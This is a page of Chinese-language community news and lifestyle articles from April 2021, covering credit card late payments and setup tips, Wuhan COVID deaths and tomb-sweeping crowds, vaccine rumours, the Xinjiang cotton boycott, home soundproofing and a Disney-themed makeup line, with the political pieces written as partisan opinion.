在纽约,人们每日生活节奏很快,偶尔忘还信用卡很正常。 但延迟付款(late payment)不仅会产生罚金,还会影响信用卡利率和信用记录,使未来的借贷,比如,申请信用卡或车贷、房贷等都会受到影响。

那么,逾期还款(late payment)对信用卡用户有哪些影响,如何补救,如何避免呢?

首先了解一下什么是late payment(逾期还款)

如果没有欠款,一般信用卡每月均需还款一次。在还款截止日(payment due date)及之前,至少还当月账单的最低还款金额(minimum payment),即算当月按时还款。

1、Payment due date(还款截止日)是随机产生的日期,且每月不变(比如:每月15日或25日)。为方便还款,用户可联系银行修改这个日期。比如有的消费者每月底发工资,那么可设置还款日在月初。

2、Minimum payment(最低还款金额)视银行而定,比如美国银行规定:逾期金额加上$ 35或新余额的1%,以较高者为准,再加上任何利息费用和滞纳金。这一金额无法改变。

3、仅支付信用卡最低付款额会使用户付出更多

如果每个月只支付最低付款额,因为很多卡都带有很高的利率。那么还清信用卡余额的时间会更长。仅支付最低限度的费用也将支付更多的利息并延长债务期限。

Late payment(逾期还款)的影响

1、对信用记录/分数的影响

Late payment一旦上报信用局,会严重影响信用记录,并在信用记录上保留7年之久。会使持卡人信用分数下降,具体下降程度与用户的总体信用记录有关:

如果信用记录长久而且良好,那么一次late payment不会产生很大的伤害;

3、如果信用记录时间短(常见于年轻人或刚踏足美国的人)或本来就有不良记录,那么任何late payment都会让信用分数大跌。

4、Late payment上报信用局后,如继续拖延不还,会让late payment的时间变更久,进一步影响信用记录,直到还清。

信用记录差,信用分数低,会导致难以获得贷款或者获批信用卡,借贷(比如车贷、房贷)时面临比其他人更高的利率,有些雇主还会因此拒绝求职者,有百害而无一利。

5、罚金

不论有没有上报信用局,late payment都会产生罚金,即late payment fee(滞纳金),目前美国主要银行的这一费用在$40左右。有些信用卡会主动免除首次甚至多次late payment fee,但这并不代表late payment不会被上报到信用局。此时尽管不会产生罚金,信用记录却会越来越差。6、银行收回返现或其他奖励

美国信用卡普遍有较好的开卡奖励和消费返现,然而若逾期还款,银行很有可能延迟发放这些奖励,甚至收回已发放的奖励。

7、对APR的影响

在出现late payment后,信用卡的利率会大幅上涨,称为penalty APR(罚款年利率)。即有惩罚性的高利率。比较常见的penalty APR为29.99%。更高的APR(实际年利率),对于无法全额还款的消费者来说意味着更多的利息,经济上的损失也远大于late payment的罚金($40左右)。8、对0% APR(实际年利率为0%)的影响很多信用卡在开卡后很长一段时间(可达20多个月)内没有利息,即0% APR 信用卡。然而这些0% APR的使用一般都要求用户在此期间按时还款,至少还个minimum payment(最低支付),这样一来剩余的消费欠款也就不会产生利息。

若中间某个月出现了late payment,多数银行会停止0% APR,开始收取标准利息。这对于在原本0% APR的信用卡保有不少金额,对有日后慢慢还款想法的用户来说是个坏消息。

发生Late payment了怎么办?

由于种种原因,出现了late payment后如何补救呢?

1、立刻还款

一旦发现还款晚了,第一件需要做的事就是还款,尽可能缩短late payment的时间。最快的还款方式是online(在线的)还款,有条件的也可去银行网点还款。最好是全额还款,避免利息,还能减少信用记录上的欠款金额。至少还minimum payment即可。

 

2、联系银行

在还款post到账后,建议联系银行说明原因,礼貌地询问是否能够将本次late payment不上报信用局。若原先还款记录良好,对于偶发的逾期不超30天的情况,银行一般都会同意这一请求。

对于late payment fee(滞纳金),有些银行也会大度地予以减免。不过这一点看银行,也看具体情况。如何避免late payment(逾期付款)?

为信用卡设置auto-pay即自动还款就能避免late payment。以Chase银行为例,用户可在Card Details中看到Auto-Payments的选项:

然后把Payment amount设置为Minimum Payment Due,再确认即可:

在auto-pay日期上,Chase不提供选择,默认在payment due date当天或前一个周五自动还款;而其他银行比如Amex则允许用户选择statement closing date后的某个日子自动还款,最多为closing 25天后:

Auto-payment基本能避免late payment。如设置全额自动还款,就不用担心还款的问题了。但如果账户余额不足,会使自动还款失败导致late payment,因此建议即使设置了auto-payment,每月也要查看一下信用卡账户情况。另外注意一点,在设置auto-payment的时候一定要注意银行的要求,比如有的银行会提示auto-payment要在下一个Statement的时候才会生效,设置完auto-payment之后的第一个Statement仍然需要手动还款。

 

结语

信用卡给现代人的生活带来了很多方便,但是由于人们生活繁忙,很可能会发生late payment。这样不仅产生罚金,还会影响信用卡利率和信用记录。一旦发生late payment后,要立刻还款并联系银行,这样能最大的减少损失;要避免late payment,要设置信用卡的自动还款功能。

为了避免利息、减少信用记录上的总欠款金额,尽量每月全额还款。祝大家用卡安全愉快!

2021-04-06 / by / in , , , , , , ,
武汉到底死多少人?清明祭扫数十万人挤爆陵园 菊花卖断货

文|无疆行者

中共病毒(武汉肺炎,COVID-19)疫情全球延烧一年多,疫情爆发地武汉到底有多少人染疫去世,至今仍然是个谜。清明节前夕,死难者的家属亲友数十万人进入陵园祭扫,墓园被人潮挤爆,道路堵塞,祭奠用的菊花卖到断货。

清明祭扫数十万人挤爆武汉墓园

近日,据大陆媒体《潇湘晨报》报道,清明节前夕,武汉32万人挤满陵园,武汉民众为了买菊花,一大早就出来排队,全城的花都卖光了,不过此文随后遭到删除,中国女作家颜小乙引述相关报导遭到举报,其公共号文章被禁止分享。

大陆媒体网易新闻于4日发表了一篇题为“武汉大暴雨,32万人挤满陵园:人群散去,他们哭了”的文章,随后此文章被删除,内容显示“404”,但此文已在网上被大量转载。

搜索可见文章标题。(网络截图)

这条新闻所写的32万人的数据最初来自《楚天都市报》极目新闻3月22日的报导。报导称3月20、21日两天,武汉迎来清明扫墓的第一波小高峰。该报记者从武汉市各大陵园获悉,周末两天武汉有32万人次入园祭扫。

3月27日~28日,4月3日~4日这两个周末武汉的祭拜人数至今仍未见诸于媒体。不过,知情者发布的消息显示,这两个周末通往陵园的道路更加拥堵。

有网民在微博发文说,清明节第一次见到堵车堵成这样,6点出门开始堵,回程一样堵到大家下车散步了…大概跟今年大年三十晚上武汉买不到菊花一样。中国湖北各地都有在大年初一「烧清香」的习俗,今年除夕,武汉的菊花供不应求,甚至无花可买,当时引发不少人感叹,去年武汉疫情到底死了多少人?

而中国官方宣称,至去年4月16日为止,武汉累计50333人确诊,染疫死亡则是3869人,根据中共民政厅资料,去年第一季,湖北省有逾15万老年人突然从津贴名册上消失,但官方拒绝解释,也禁止媒体和民间统计殡葬资料。

维权人士遭当局打压

武汉市一部分坚持维权、追责当局,要求公布疫情真相的家属们仍然遭到封杀噤声,甚至人被赶出武汉。

武汉人张海,在武汉疫情爆发初期,由于官方隐瞒实情、民众不知真情,张海还特意开车将父亲送到武汉市医院治病,结果其父染疫离世。一年多来,张海坚持维权,以各种方式投诉、控告、起诉武汉当局,要求向全世界公布疫情真相,而遭到中共非法打压。

张海在自己的朋友圈留言表示:“湖北、武汉两级地方政府,不就是想孤立我吗?各方位卡死我吗?继续监听电话,监控微信,明确告诉你们,孤单一人在抗黑的路上我也不可能放弃,生有何欢,死有何惧……你们犯下的罪恶,注定逃脱不了……”

另一位受难者家属杨敏的女儿也因染疫离世。杨敏曾到武汉市政府举牌控诉而遭到威胁恐吓,禁足,噤声。

4月5日零时,她在微博上发帖说:“又一年清明节,拥挤的路走不完冤屈,追魂香盖不尽新起的坟头,压抑不住的哀嚎,真相得不到伸张,这到底是阳世还是阴间?那些杀害自己同胞的刽子手,你们不仅杀害同胞,摧毁一直到现在还没明确数字的家庭、高喊着武汉加油的口号,置武汉人民的生命于不顾,眼睁睁地看着老百姓苦苦挣扎而不作为!披着为人民服务的外衣的牛头马面们,你们才是真正的国贼,汉奸!高唱美丽赞歌做着残害老百姓事的人,才是中国人民的公敌。历史是有记忆的,老百姓是有记忆,冤屈的亡魂也不会放过的!”

杨敏微博发文(微博截图)

责任编辑:无疆行者

 

2021-04-06 / by / in , ,
疫苗改变DNA?网络传言可信吗?有人观望,有人拒绝疫苗;纽约法拉盛华人家庭医生的建议,让你放心去做该做的事

文|他乡月更明

导言:对于疫苗及其副作用,在人群中仍存在很多争议。与其相信网上的各种传言,不如询问自己的家庭医生。作为医学专业人员,他们每天接触各类患者,了解更多的疫情资讯,对于疫苗,家庭医生可给出更专业和权威的说法。

尽管新冠疫情仍在肆虐,但很多美国人对疫苗接种仍保持著一种警惕的心态。

网上有各种有关疫苗的传言。疫情所到之处,传言也如影随形。

传言不一定不好。对新事物保持合理的怀疑,反应了人们的谨慎和理性。人们确实有理由怀疑疫苗的效果:首先,接种者中,出现了个别严重副作用现象。其次,你看,现在美国的疫情并没有减缓。3月份最后一周,全美每天有5.7万个新发感染,如何不让人怀疑疫苗的效果呢?

有些人可能会把现在疫情的蔓延归咎于未接种疫苗者。别忘了:也有已接种疫苗的人,还会感染病毒。

如何看待这些现象?所谓“是药三分毒”,新冠疫苗也摆脱不了这一宿命吗?

接种疫苗,不同的人群有何差异?

截至本周一(4月5日),全美人群已有15%接种了新冠疫苗,总接种量为1.43亿,超过9,300万人至少接种了一剂疫苗,5,100万人完成了疫苗接种。

据凯撒家庭基金会和华盛顿邮报所作的一项全国调查表明:

在3月5-22日之间,在所有人群中,等待观望者占17%,如果要求接种时才接种的占7%,绝不接种的占13%,加在一起,不接种疫苗者比例为37%。

凯撒基金会和华盛顿邮报所作的疫苗接种调查。

甚至是专业医护人员,对接种疫苗的态度也表现出极大的差异。

一线医疗保健人员中,到3月份早期,只有超过52%的人接种了至少一剂疫苗,还有48%的人未接种;

在医院工作的人,接种比例大约为66%;

门诊人员接种比例为64%;

医生办公室和在养老院的医护人员,接种比例为52%;

辅助医疗机构接种比例为50%;

家庭保健人员中,仅有26%的比例接种了疫苗。

医疗保健人员中,由17%的人,绝对不接种疫苗;有6%的人表示除非要求必须接种,他们才会接种;还有14%的人在等待观望。加在一起,不接种疫苗的人,比例高达37%。

在接种疫苗的态度上,两党之间的差异,也被查了出来。

共和党中,已接种者占27%,想尽快接种的占19%,观望的19%,要求时才接种的占6%,绝不接种的占29%。

民主党中,已接种的占42%,尽快接种的占37%,观望的占11%,要求时才接种的占2%,绝不接种的有3%。

疫苗接种率不可能最后达到100%,因为确实不是每个人都适合接种,有些人也确实出现了较强的反应。好在这是美国,人

在纽约法拉盛医生办公室,华人医生怎么看疫苗?

现在,纽约疫苗接种比例已达28.2%,但疫情仍然很严峻。仅4月3日当天,纽约市就新确诊病例3,688人。

纽约法拉盛华人家庭医生郭晓军医学博士。

华人家庭医生郭晓军博士的诊所,在全美华人最集中的纽约市法拉盛地区。除一名护士外,郭医生和其他医护人员均接种了疫苗,他描述了自己接种疫苗后的身体反应,“不明显,打第一针时有点痛,第二针比第一针更痛一些。诊所其他人,接种后,有的起点皮疹,有的有点脱皮,还有一个有点发烧,请了一天假,也有一个难受了几天。”

郭医生一直在密切观察疫情流行和疫苗接种状况,据他了解,CDC一直在收集关于疫苗接种的各种数据,观察打疫苗后的副作用。

他说,“任何疫苗都存在副作用,比较罕见的是那种过敏反应,这比较严重。只有极少数人有这种反应。”

虽然有副作用,但郭医生仍看好美国的疫苗:“美国的疫苗有效率高达90%以上,而中国出产的那种灭活式疫苗,相比之下,技术更“古老”一些。”

CDC官网的显示,部分人员在疫苗接种后,副作用通常在接种24-72小时内出现,大部分副作用出现在第二针之后,一般几天后副作用就会消失。

但CDC也强调,如果接种后出现咳嗽、气短、嗅觉或者味觉消失,这不是疫苗的副作用,可能是病毒感染,这要与疫苗注射的副作用分开。

疫苗会改变人体的DNA吗?

疫苗会不会改变人体的DNA?网上有这类传言,令很多人担心。

郭晓军医生:任何疫苗都存在副作用,比较罕见的是那种过敏反应,这比较严重,但只有极少数人有这种反应。也有一些患者,因其它健康原因,可能一时不适合打疫苗。可与家庭医生具体咨询。

郭医生认为疫苗不可能改变人体细胞内的DNA,因为DNA储存在细胞核内,疫苗物质无法进入细胞核。

CDC也在官网上重申:Covid-19疫苗不会改变人体DNA,也不会与DNA相互作用,改变基因程序。进入细胞的那部分物质在72小时后,就会降解。

康奈尔大学科学联盟小组客座研究员马克·利纳斯,在接受路透社采访时也表示,不存在可以改变人体DNA的疫苗。他认为,反新冠疫苗接种活动者经常故意散布这些谣言,以故意造成混乱和不信任。

郭医生说:“已经有数千万人接种疫苗,现在的数据表明:这个疫苗,一是有效,二是很安全。”

至4月6日,美国已有1亿830万人接种了至少一剂疫苗。

他建议:能打疫苗的尽量打,不论是辉瑞的还是莫德纳的,只要有机会,就去打疫苗。因为打一针,就会产生有保护力的抵抗水平,打两针效果更好。当然,强生疫苗一针就可达到很好的效果。

据郭医生了解,这几种疫苗对变异病毒也有预防效果,但效果会打些折扣。

郭医生介绍,人体通过接种疫苗产生的抗体,要优于通过感染产生的抗体。通过感染产生的抗体,一般3个月后就会衰竭。而通过疫苗产生的抗体,是一种专门设计的技术蛋白,更有针对性,效力也会更持久。
这也解释了在纽约的老人院,为什么那些接种了疫苗的老人们在目前的疫情下,感染率会普遍低于年轻人,因为他们普遍接种了疫苗。

很多人担心,接种疫苗后可能出现过敏。有办法防止过敏吗?

郭医生建议,根据自己的体质,如果担心过敏,在接种之前可以先吃药预防。如果有急性反应,可以使用抗组胺药物治疗。

他介绍,为防止万一,疫苗接种地点一般会储备一些抗过敏药物。接种后不要急于离开,观察15-30分钟。有医护人员在场,可及时处理突发情况。

2021-04-06 / by / in , , , , ,
新办的银行信用卡,首先应该做什么?很实用也很重要!

/小庆

我们在收到银行寄来的信用卡后,为了方便信用卡的日后使用并保障信用卡账户安全,我们首先应该做以下10件事。

1、检查信用卡卡面上的信息

在收到银行寄出的信用卡后,要及时检查信用卡卡面上的信息,如:姓名。常见的姓名问题有:

  • 拼错
  • 无故多了个空格
  • 姓和名颠倒

如果发现信用卡卡面上的信息有问题,请立即致电信用卡背后的银行电话,要求更新信息,并重新寄卡。

2、信用卡激活

在确认信用卡个人信息无误后,应尽早激活新收到的信用卡。银行会在寄来的信上标明激活的方式。或在信用卡卡面上贴上激活方式。常见的激活方式有:

  • 致电
  • online

除了新申请的卡外,更换信用卡时也需激活再使用。

 

3、注册(online)账号

随着信息技术的进步,之前许多必须到银行柜台才能完成的事情,现在通过手机或者电脑即可解决。欲享用方便的online banking(网上银行业务),须先注册(online)账号。不同银行的注册流程大同小异,在银行官网注册即可。注册账号后,请牢记账号名和密码,并妥善保管。

4、检查注册online)账号的个人信息

在建立online(注册)账号后,须检查个人信息是否正确,包括姓名、地址、生日和联系方式等。以免填错重要的银行信息。有些银行的个人信息更改需要提交证明,建议致电卡背后银行电话咨询详情。

5、开启账户alert警报)

我们在使用信用卡过程中,最担心的就是被盗刷,尤其是被盗刷了自己还不知道。那么怎样预防信用卡被盗刷呢?

首先我们要在online(注册)账户上开启消费alert警报)提醒。将有助于及时了解信用卡的使用情况。

常见的alert警报)方式有:

  • 短信elert
  • 手机App推送alert警报)
  • email alert(电子邮件警报)

常见的alert警报)内容有:

  • 消费
  • 单笔消费大于一定金额
  • 可用余额过低
  • 最新账单生成
  • 还款截止日期
  • 还款成功/失败

除了消费alert警报)之外,有些银行还可开启低额度,还款截止日期等实用alert警报),能够提醒按时还款,避免罚款和高额利息。

6、下载手机app

在注册online(注册)账户后,即可享受online banking(网上银行业务)带来的便利。若想随时随地掌控账户信息,以及其他更多功能,建议下载银行手机App。

银行手机App上,除了能看到账户信息外,还可进行下列实用操作:

  • 还款
  • 查看历史账单
  • 冻结账户,保护账户安全
  • 管理/设置alert
  • 查看信用卡提供的福利

7enroll(注册)信用卡福利

许多信用卡的福利,都需要在收到卡后enroll(注册),方可使用。这些福利的enroll(注册)基本都可在online banking(网上银行业务)上完成。

8enroll(注册) 电子账单(paperless

据报道,人类每年砍伐掉大片的森林用于造纸,而银行账单由于其庞大的基数,是纸张浪费的一大来源。

目前绝大部分银行都提供电子账单,也可根据客户要求提供纸质账单。许多人在收到纸质帐单后,由于一般都选择网上还款,会直接把银行纸质账单丢弃。

因此建议在收到信用卡后,选择enroll paperless statement(无纸化声明),以节省用纸,避免浪费。

选择paperless(无纸化)的好处:

  • 节省纸张,拯救森林
  • 避免账单丢失,泄露个人信息/隐私
  • 减少纸质文件管理的需求
  • online(注册)随时查看历史账单,按需要随时要求银行寄纸质账单

9、信用卡背后银行联系号码

虽然越来越多的业务可自助online(注册)办理,有时候还需联系银行解决一些问题。

在收到信用卡后,建议在手机上储存信用卡背后的银行联系电话,以便日后跟银行联系。尤其是在发现信用卡丢失或被窃后,能尽快联系上银行,能够尽最大限度的减少信用卡被盗刷的风险。

除了紧急事件外,有些信用卡的福利也是通过致电来使用的,如运通银行提供的每年4次免费道路救援,就需要致电运通银行告知详细的位置、车辆、所需服务等信息来进行的。

10enroll(注册) autopay(自动还款)

为了避免信用卡忘记还款,可以设置auto-pay。Auto-pay可以设置自动还款的日期和金额。

如不能全额还款,建议设置auto-pay 为”minimum payment(最低支付)”。只要支付了最低还款金额, 即可避免出现late payment(逾期付款)这种严重影响信用记录的事件发生。

结语:

近年来,许多大商家等机构被曝出用户数据被泄露的事件,所泄露的信息中就包括用户的完整信用卡信息,甚至还有黑客在网上叫卖这些信息的。给大家的财产带来了很大的风险。我们除了设置alert(警报)外,定时更换卡号也能大大降低银行卡被盗刷的风险。希望大家的银行账户能够安全的使用。

2021-04-06 / by / in , , , ,
中共假借民意抵制洋货的十大负面影响

文/古风

长期以来,中共习惯把国人抵制洋货运动当作外交工具。如:借钓鱼岛事件抵制日货;借韩国萨德事件抵制韩货等。2020年3月,H&M集团曾发布一则有关中国新疆棉花的“尽职调查”声明,称对新疆少数民族被强迫劳动和受宗教歧视的报道表示关切。事隔1年后,这一声明突然遭到环球时报总编胡锡进和共青团中央官方微博的猛烈抨击,指责该品牌散布谣言、抹黑中国。还称:别指望又吃中国饭,还砸中国锅。由此引发中国网民(大多数都是中共网络水军)大规模抵制洋货。可见,这次抵制洋货运动是由中共官方发起。据《苹果日报》报道,少数网民还在微博上贴出“火烧耐克球鞋”泄愤的短片、或者手持抵制纸牌,只身前往H&M分店抗议的支持照片,被该报刊形容为“义和团”式的反西方热潮。然而,这种行为不仅伤害投资者,而且还将给中国带来巨大的负面影响。

中共假借民意抵制洋货的十大负面影响

  1. 影响2022年北京冬奥会

据新浪网3月31日报道,由于新疆棉花事件继续发酵,中国多个城市的H&M实体店面被业主关停,目前还不清楚店面会关闭多久。之前这家服饰品牌已经遭中国电商平台下架。

据万维读者网3月30日报道,长期以来,Nike、耐克等国际品牌都是北京冬奥会的赞助商,Nike还分别与中国国家足球队、中国篮协、中国田径协会等单位签下10年以上的合约,中国当红的运动球星也大多为Nike代言。尽管有中国网友强烈要求与Nike解约,但中国体坛官员至今仍对新疆棉事件保持缄默,持续等待中国国家体育总局的指示,若贸然解约,将会直接影响明年的北京冬奥会。

  1. 影响中国经济增长

据新华社2021年1月18日报道,中国国家统计局公布了2020年度经济数据,GDP总量首次突破100万亿,年度经济增长率为2.3%。相比2019年度经济增长率的6%回落3.7%。港澳台商企业投资增长4.2%,增速回落0.3%;外商企业投资增长10.6%,增速回落0.6%。截至2020年末,全国政府债务余额46.55万亿元,政府显形负债率为45.8%。2021年经济社会发展主要预期目标中,将国内生产总值增长目标设为6%以上。

从上述数据可以看出,受新冠疫情和中美贸易战的双重影响,中国去年的经济指标面临负增长。如果任由抵制洋货运动继续发酵,必将对中国经济发展带来全球性的负面影响。

  1. 影响“一带一路” 项目 进展

“一带一路” 是中国近10年来最大的国际投资项目。据路孚特BRI数据库最新数据显示,“一带一路”项目沿线涉及到65个国家,截至2020年一季度末,已规划或在建的“一带一路”项目共计3164个,总金额达4万亿美元。

路孚特数据显示,受疫情和中美贸易战影响,许多国家的“一带一路”项目正处于搁置或取消或状态。如果中国抵制洋货运动继续发酵,不仅会给“一带一路”项目落地带来困难,而且还有可能影响亚投行的正常运转。

  1. 影响中共的对外形象

受香港、新冠疫情、中美贸易战、中国人权等问题影响,中共在国际上就像一只过街老鼠。为挽回败局,中共每年都投入巨资用于大外宣。据红豆网报道,截止2020年12月,中共在海外的大外宣华文媒体就达400多家;长期合作的大外宣外文媒体近千家,其合作范围遍布全球五大洲61个国家和地区。

在经济全球化的今天,中国抵制洋货运动,这显然与中共领导人在国际上高调倡导的“人类命运共同体” 理念自相矛盾。如果中国抵制洋货运动继续发酵,不仅有损中共领导人个人的国际形象,而且还將影响中共的对外形象。

  1. 影响中美关系

    众所周知,近几年来,受中美贸易战和新冠疫情的影响,中美两国关系日益紧张。

据新华社报道,2月11日,中国国家主席习近平同美国总统拜登通电话,就双边关系和重大国际及地区问题深入交换意见。习近平在与拜登通话时说:“过去半个多世纪,国际关系中一个最重要的事件就是中美关系恢复和发展。中美合则两利、斗则俱伤,合作是双方唯一正确选择。中美合作可以办成许多有利于两国和世界的大事,中美对抗对两国和世界肯定是一场灾难。”

可见,中共方面迫切希望中美关系尽快得到改善。然而,此次中国抵制洋品牌的主角耐克又是美国家喻户晓的运动品牌,也是美国的纳税大户。如果此次抵制洋品牌运动持续升级,必将使中美关系更加雪上加霜。

  1. 影响中共官员个人财产安全

据多维新闻网报道,2019年4月17日,瑞士银行公布了一则令人震惊的消息,仅仅100位中国人在瑞士银行的存款就达7.8万亿人民币(约1.1万亿美元)。据知情人透露,在这100位中国储户中,绝大部分都是中共官员及其家属。

H&M官网显示,H&M于2007年正式进入中国市场,主要销售服装和化妆品。H&M在全球开设近5000家店铺。其中,中国内地有445家门店。H&M在瑞士及欧盟都具有很大的影响力。

中国驻瑞士大使馆官网显示,近几年来,瑞士外交部曾多次就香港反送中和新疆集中营事件发表声明,中共对此表示极为不满。按照《国际经合组织负责任的商业行为准则》,H&M此次拒购新疆棉完全是合法行为。如果中国此次抵制洋品牌运动持续升级,必定会再次激怒瑞士政府,一旦瑞士方面盛怒之下將中共官员在瑞士银行的存款信息“不慎泄露” ,必将会引发中国社会动荡,这是中共无法承受的。

  1. 影响中国地方政府招商引资

受中美贸易战和新冠疫情影响,中国各地方政府招商引资工作全面陷入困境。据《经济参考报》3月24日报道,各地方政府为了完成上级下达的招商引资任务,许多地方政府都采取“全员招商”的老办法。具体做法是政府发文件、摊派招商指标、搞招商成绩排名,一些产业基础薄弱的乡镇每年也要完成3000万元的招商任务。甚至连公安局、法院、检察院、妇联、教育局、工会等机关都有招商任务,而且还把招商引资任务纳入个人的政绩考核指标,“一季一排名”的考核评价压力,让各级官员都陷入困境。但这种强行摊派的做法又并没有如愿吸引到外商投资。

从媒体报道中可以看出,中国各地方政府招商引资都非常困难,如果中国抵制洋品牌运动持续升级,这不仅会给各地政府招商引资带来负面影响,而且还会让一些国际品逃离中国。这种结果是中国政府难以承受的。

  1. 影响中共对外统战

按照中共中央办公厅2020年9月印发的《关于加强新时代民营经济统战工作的意见》规定,外商投资企业是统战工作的重点对象。按照这个《意见》规定,&M、耐克、优衣库等国际品牌应该是中共统战的重点对象。

如果中共继续把抵制洋货运动当作一种政治工具的话,不仅中共的对外统战工作会受影响,而且还有可能把一大批外商投资企业推到中共的对立面。

  1. 影响习近平连任

评价一个国家领导人的政绩有两项大指标:一是內政安定;二是外交和谐。而中国抵制洋货运动既影响中国的经济社会稳定,又影响和平外交。习近平执政9年来,其政绩本来就乏善可呈,如果中国的内政和外交问题还將继续恶化,必定对他明年的连任产业负面影响。

  1. 影响中国就业

据澎湃新闻网报道,2020年5月23日,中共出台“六稳六保”政策。即:稳就业、稳金融、稳外贸、稳外资、稳投资、稳预期工作;保居民就业、保基本民生、保市场主体、保粮食能源安全、保产业链供应链稳定、保基层运转。由此可见,无是六稳,还是六保,就业问题都是摆在中国问题的第一位。

据中国新闻网2020年12月14日报道,受疫情和中美贸易战的影响,2020年中国大学毕业生总数近900万,较去年增加了56%。但企业对于应届生的招聘需求同比下降22%。在多重的因素的影响下,2020年成为了史上最难的就业季。

如果中国抵制洋品牌运动持续升级,必然会导致一大批外资企业逃离中国,这将给中国就业问题带来更大的压力。

中共借假网络民意当外交工具可耻

从此次中国抵制洋品牌事件来看,这完全是中共借假民意当外交工具的流氓行为。中国网民都非常清楚,共青团中央就是中共网络水军的大本营。据香港明报2019年4月6日报道,共青团中央成立了一支青年网络志愿者(水军)队伍,这支队伍的人数超过了1050万人,而高校是招揽重点,其中香港中文大学深圳分校被分配的名额是100人,广州中山大学则高达9000人。

据BBC中文网报道,从3月24日开始,有关H&M与新疆棉花的帖子就是共青团中央微博最先发帖,截止25日中午,该贴已有超过41万人点赞,逾4万人转载,1.6万人评论。

而共青团中央微博炒作H&M拒购新疆棉花的前一天(3月23日),正是美国、欧盟、英国与加拿等30个国家就新疆人权问题对中国官员实施制裁。可见,这次中共不顾国际影响,假借网络民意打击H&M、耐克等品牌是一次外交报复行为。

2021-04-05 / by / in , ,
在家工作真吵 为房屋隔音 3种方式3种预算

文| 懂你的小伙伴

俗话说:「沉默是金。」

在家工作,被孩子吵得不行,快崩溃了。 (pexels)

如果你遇到吵闹的邻居、然后是天天吠叫的狗、建筑噪音、垃圾车,汽车喇叭和在街上玩耍的孩子⋯⋯你会发现要获得片刻安静,是多么不容易的事。如今,在家工作变得很普遍,每位家人都会希望有一个属于自己适合工作、适合静下来的片刻。房屋隔音(Soundproof)成为一件不可轻忽的工作。

无论您居住在郊区还是城市,无论您的预算如何,都可以使您的房屋免受各种噪音的干扰。

在家工作,家人之间需要各自安静的空间,隔音问题很重要。 (摄图网)

当然,戴上降噪耳机或许是一个快速得到安静的方式,不过有谁想整天戴耳机,时间长了都会不舒服。或许,以下隔音方法可帮助您每天在家中获得平静。

房屋隔音Soundproof 低预算的选择:借助小工具

薄的墙壁或窗户有时无法起到保护房主免受外界噪音影响的作用。但是有一些负担得起的方法可以解决这个问题。

麻州剑桥市Acentech建筑声学小组的负责人本杰明·马克汉姆(Benjamin Markham)表示:“要降低家里的噪音,您可以做的一件快速、便宜的事——增加您的环境声音。”, “这可能是通过播放音乐、购买白噪播放器(white noise machine)*(亚马逊上售价45美元,)或打开电视来实现。”

*注:白噪播放器是一种播放随机性声音的装置。这种声音听起来像小溪流水的声音,像风吹打树叶的声音。用以辅助睡眠和打盹产品播放舒心的声音,如音乐、雨滴声、风声、海浪声,或者和白噪声掺杂在一起。白噪声播放器也用来缓解耳鸣。 (维基百科)

居家专家David Steckel说,通常也可以通过家居的物品来达到减少声音的介质传递,例如地毯、家具和壁挂物品的纹理等。

Steckel说,这使得“声波很难与墙壁、地板或天花板相连“。就好像是有一种”降噪窗帘(Noise-reducing curtains)(亚马逊上约26美元)“还可以帮助阻挡来自窗户的声音。

The Home Depot趋势与设计总监Sarah Fishburne说,在房间中增加一些简单的东西(例如增加家具)也将有助于阻挡声音。

在纽约、新泽西州和康涅狄格州提供隔音解决方案的Ronan Blee说:“风挡条(Weatherstripping)可用于密封门窗上,所有可能传播外界噪音的缝隙”,“还可以在墙壁上涂上防音漆(Soundproof paint )(亚马逊,45美元以上),以最大程度地减少噪音的传播。”

隔音工程 中预算选项:从地板、窗户改善

有时需要花费更多,才能真正降低噪音。

木地板底下要有地板衬垫以防止声音与潮湿问题。 (摄图网)

如果您已采取基本步骤来使您的房屋隔音,但还是不够时,Ronan Blee建议安装地板衬垫(Floor Underlayment)(100平方英尺$ 50,Home Depot)以隔离声音,并帮助减少结构噪音,例如走道、物品掉落在地板上或椅子在地板上滑动的声音。 ”

Blee补充说,地毯、硬木或瓷砖可以安置在地板衬垫之上。

Sarah Fishburne说,另一个中等预算的选择是升级门窗。根据您所需的大小,隔音窗户的价格在500美元到1,200美元之间。

您还可以聘请隔音专家在干砌墙层之间安装的隔热材料和隔音化合物,例如Green Glue隔音密封剂(亚马逊,126美元)。

以上施工尽可能寻找有执照的施工团队,才能确保施工品质。切记千万不要找价格最低的,施工中坑钱的机会很大,到时找不到人给你完成工作,那麻烦会更大。

隔绝噪音 高预算选项:窗户、墙壁大升级

有时,需要采取更积极的措施来消除恼人的噪音。

Fishburne说:“有了更高的预算,您就可以真正为房屋的各个方面隔音。”

Benjamin Markham建议,在窗扇的内侧或外侧安装辅助玻璃窗,也称为防风窗。

Markham说:“窗户通常是住宅隔音中的弱点,而第二层玻璃可以大大地解决这一问题。”

由于您实际上是要安装第二个窗户,Markham说,根据玻璃的类型和厚度,它的成本将比同一个开口的新窗户的成本低一点。

房屋隔音工程,施作隔音墙面。 (摄图网)

另外,Steckel表示,那些预算较充裕的人,可以有更完整的解决方案,在其现有的墙面(drywall)的顶部安装一些QuietRock,并使用弹性轨道(resilient channel)和隔音夹(soundproofing clips) ,因为这样可以减少大部分声音传递。他说房主可以自己安装,但是他强烈建议雇用专业人士。

Steckel说:“Lowe’s的QuietRock 510的成本约为每张半英寸厚,4 x 8英尺的面板54美元,加上泥浆、胶带和螺钉的成本,约为每平方英尺1美元,”。

Steckel说:“有一个更好的选择——从零开始重建墙壁,使用适当Roxul隔音螺栓、缝隙处的隔音密封剂、窗户处的泡沫喷涂和QuietRock干墙系统以从内部隔绝声音。”

他说,安装这样一个墙面的平均价格范围可能在2500美元到6100美元之间。

隔音工程做得好,安静工作没问题! (pexels)

平均全国每块面板的干墙安装成本在30到60美元之间,包括材料和人工成本。升级到QuietRock和Roxul,最终将使成本翻倍,但与普通的半英寸板和玻璃纤维相比,声音衰减效果会有所改善。

进行这些高预算隔音方案时,强烈建议你寻找专业施工团队。

2021-04-05 / by / in , , , ,
Colourpop x 小鹿斑比联名彩妆 可爱萌翻少女心

文|美颜小伙伴

欧美人气彩妆品牌Colourpop和迪士尼联名合作再一波,这次以迪士尼动画《小鹿斑比》(Bambi)为主题,推出全新彩妆系列,清新的草绿色包装,洋溢满满的春天气息!

Colourpop x小鹿斑比联名彩妆系列

Colourpop x小鹿斑比联名彩妆系列共有11款新品。(Colourpop官网)

Colourpop x小鹿斑比联名系列共有11款新品,包含眼影盘、眼线笔、蜜光唇釉、假睫毛、粉扑,并融入动画中的角色元素,例如小鹿斑比(Bambi)、兔子桑普(Thumper)、臭鼬花儿(Flower),不但可以打造春日小清新妆容,可爱的外型也令人少女心爆发。

